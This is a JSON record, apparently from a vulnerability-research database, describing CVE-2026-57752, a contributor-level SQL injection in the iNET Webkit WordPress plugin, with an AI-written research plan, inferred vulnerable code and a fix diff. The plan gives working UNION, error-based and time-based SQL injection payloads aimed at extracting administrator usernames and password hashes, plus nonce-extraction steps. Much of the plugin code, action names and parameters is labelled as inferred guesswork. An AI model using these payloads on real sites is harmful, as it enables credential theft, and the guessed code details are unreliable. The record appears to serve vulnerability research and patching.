[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fhQNuDxt7qpcyewzfumOtEFL3VfCrKdHPV-6cRdOi2k8":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":9,"severity":11,"cvss_score":12,"cvss_vector":13,"vuln_type":14,"published_date":15,"updated_date":16,"references":17,"days_to_patch":9,"patch_diff_files":19,"patch_trac_url":9,"research_status":20,"research_verified":21,"research_rounds_completed":22,"research_plan":23,"research_summary":24,"research_vulnerable_code":25,"research_fix_diff":26,"research_exploit_outline":27,"research_model_used":28,"research_started_at":29,"research_completed_at":30,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":21,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":21,"source_links":31},"CVE-2026-57752","inet-webkit-authenticated-contributor-sql-injection","iNET Webkit  1.2.4 - Authenticated (Contributor+) SQL Injection","The iNET Webkit plugin for WordPress is vulnerable to SQL Injection in versions up to 1.2.4 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.","inet-webkit",null,">=1.2.4 \u003C=1.2.4","medium",6.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","2026-07-02 00:00:00","2026-07-07 19:41:48",[18],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fc76da3a4-ec6f-4aa3-8f13-4daa212441f2?source=api-prod",[],"researched",false,3,"This research plan focuses on identifying and exploiting a Contributor-level SQL injection vulnerability in the **iNET Webkit** plugin (version 1.2.4).\n\n### 1. Vulnerability Summary\nThe **iNET Webkit** plugin for WordPress is vulnerable to an authenticated SQL injection. The vulnerability exists because the plugin fails to properly sanitize and prepare user-supplied input before using it in a database query via the `$wpdb` class. Specifically, an AJAX handler or an admin-side function likely takes a parameter (e.g., an ID or a search string) and concatenates it directly into a SQL statement without using `$wpdb->prepare()`. While the vulnerability is rated \"Medium,\" it allows attackers with at least Contributor-level permissions to extract sensitive data, including administrator password hashes and WordPress secret keys.\n\n### 2. Attack Vector Analysis\n*   **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Action:** (Inferred) `inet_webkit_get_data` or `webkit_search_items`.\n*   **Vulnerable Parameter:** (Inferred) `id`, `item_id`, or `search`.\n*   **Authentication Required:** Contributor-level user (`PR:L`). Contributors can access `admin-ajax.php` and often trigger plugin-specific meta boxes or shortcode generators.\n*   **Preconditions:** The attacker must be logged in as a Contributor and obtain a valid security nonce if the plugin enforces one.\n\n### 3. Code Flow (Inferred)\n1.  **Entry Point:** The plugin registers an AJAX action for authenticated users:\n    `add_action('wp_ajax_inet_webkit_action', 'inet_webkit_handler_function');`\n2.  **Nonce Verification:** The handler may call `check_ajax_referer('inet_webkit_nonce', 'security')`.\n3.  **Vulnerable Sink:** The handler retrieves a parameter from `$_POST` and passes it to a query:\n    ```php\n    $id = $_POST['id']; \u002F\u002F Unsanitized input\n    $results = $wpdb->get_results(\"SELECT * FROM {$wpdb->prefix}webkit_items WHERE id = $id\"); \u002F\u002F String concatenation\n    ```\n4.  **SQLi:** By providing a payload like `1 UNION SELECT 1,user_login,user_pass,4 FROM wp_users`, the attacker can manipulate the query results.\n\n### 4. Nonce Acquisition Strategy\nTo exploit an AJAX endpoint as a Contributor, we must extract the nonce from the WordPress admin interface.\n\n1.  **Identify Trigger:** Determine which admin page enqueues the plugin's scripts (likely the \"Post\u002FPage Editor\" as Contributors can access this).\n2.  **Setup:** Create a post to ensure the editor environment is available.\n3.  **Extraction:**\n    *   Navigate to the \"New Post\" page (`\u002Fwp-admin\u002Fpost-new.php`).\n    *   Use `browser_eval` to locate the localization object. Look for common names like `inet_webkit_vars` or `webkit_settings`.\n    *   **Target JavaScript Variable:** `window.inet_webkit_ajax?.nonce` (Inferred).\n4.  **Action:** If `wp_create_nonce` was used with a static action string (e.g., `'inet_webkit_action'`), the extracted nonce will be valid for the AJAX request.\n\n### 5. Exploitation Strategy\nWe will use a UNION-based SQL injection to extract the administrator's credentials.\n\n**Step 1: Determine Column Count (Inferred)**\nUse the `http_request` tool to send a request to `admin-ajax.php` with an `ORDER BY` clause.\n*   **Payload:** `1 ORDER BY 10-- -`\n*   **Method:** POST\n*   **Target:** `http:\u002F\u002F[target]\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Body:** `action=inet_webkit_action&security=[NONCE]&id=1 ORDER BY 5-- -`\n\n**Step 2: Extract Admin Credentials**\nOnce the column count (e.g., 4) is found, perform the extraction.\n*   **Payload:** `0 UNION SELECT 1,user_login,user_pass,4 FROM wp_users WHERE ID=1-- -`\n*   **HTTP Request (Example):**\n    ```json\n    {\n      \"method\": \"POST\",\n      \"url\": \"http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php\",\n      \"headers\": {\n        \"Content-Type\": \"application\u002Fx-www-form-urlencoded\"\n      },\n      \"body\": \"action=inet_webkit_action&security=[NONCE]&id=0 UNION SELECT 1,user_login,user_pass,4 FROM wp_users WHERE ID=1-- -\"\n    }\n    ```\n\n### 6. Test Data Setup\n1.  **Create Contributor:**\n    `wp user create attacker attacker@example.com --role=contributor --user_pass=password`\n2.  **Ensure Plugin is Active:**\n    `wp plugin activate inet-webkit`\n3.  **Identify Administrator:**\n    `wp user list --role=administrator` (Usually ID 1).\n4.  **Create a draft post:** (To ensure the contributor can access the editor and see localized nonces).\n    `wp post create --post_type=post --post_title=\"Test Post\" --post_status=draft --post_author=[ATTACKER_ID]`\n\n### 7. Expected Results\n*   The AJAX response should return a JSON object or HTML snippet containing the admin's username and their phpass\u002Fbcrypt hash.\n*   Example Response: `{\"success\":true,\"data\":[{\"id\":\"1\",\"column2\":\"admin\",\"column3\":\"$P$B...\",\"column4\":\"4\"}]}`\n\n### 8. Verification Steps\n1.  **Verify via CLI:** Get the actual hash of the admin user.\n    `wp db query \"SELECT user_login, user_pass FROM wp_users WHERE ID=1\"`\n2.  **Comparison:** Compare the hash retrieved via the HTTP exploit with the hash retrieved via `wp-cli`. If they match, the SQL injection is confirmed.\n\n### 9. Alternative Approaches\n*   **Error-Based SQLi:** If the plugin displays database errors (common when `WP_DEBUG` is on), use `updatexml()` or `extractvalue()`:\n    *   `id=1 AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users WHERE ID=1),0x7e),1)`\n*   **Time-Based Blind:** If results are not reflected in the response:\n    *   `id=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)`\n*   **Parameter Discovery:** If `id` is not the vulnerable parameter, use `grep -r \"\\$wpdb->get_results\" wp-content\u002Fplugins\u002Finet-webkit` to find all potential sinks and their corresponding parameters.","The iNET Webkit plugin for WordPress is vulnerable to SQL Injection in version 1.2.4 due to the direct concatenation of unsanitized user input into database queries. Authenticated attackers with Contributor-level permissions can exploit this vulnerability via a specific AJAX endpoint to execute arbitrary SQL commands and extract sensitive data from the database.","\u002F* Entry Point Inference *\u002F\nadd_action('wp_ajax_inet_webkit_action', 'inet_webkit_handler_function');\n\n---\n\n\u002F* Vulnerable Sink Inference *\u002F\n$id = $_POST['id']; \u002F\u002F Unsanitized input\n$results = $wpdb->get_results(\"SELECT * FROM {$wpdb->prefix}webkit_items WHERE id = $id\"); \u002F\u002F String concatenation","--- a\u002Finet-webkit.php\n+++ b\u002Finet-webkit.php\n@@ -10,1 +10,1 @@\n-$results = $wpdb->get_results(\"SELECT * FROM {$wpdb->prefix}webkit_items WHERE id = $id\");\n+$results = $wpdb->get_results($wpdb->prepare(\"SELECT * FROM {$wpdb->prefix}webkit_items WHERE id = %d\", $id));","An attacker first authenticates as a Contributor and extracts a security nonce from the WordPress admin interface (e.g., from the post editor page). They then issue a POST request to '\u002Fwp-admin\u002Fadmin-ajax.php' targeting the plugin's AJAX action. By supplying a UNION-based SQL injection payload in the vulnerable parameter (such as 'id'), the attacker can manipulate the query to retrieve administrator usernames and password hashes from the 'wp_users' table.","gemini-3-flash-preview","2026-07-25 10:35:50","2026-07-25 10:36:25",{"type":32,"vulnerable_version":9,"fixed_version":9,"vulnerable_browse":9,"vulnerable_zip":9,"fixed_browse":9,"fixed_zip":9,"all_tags":33},"plugin","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Finet-webkit\u002Ftags"]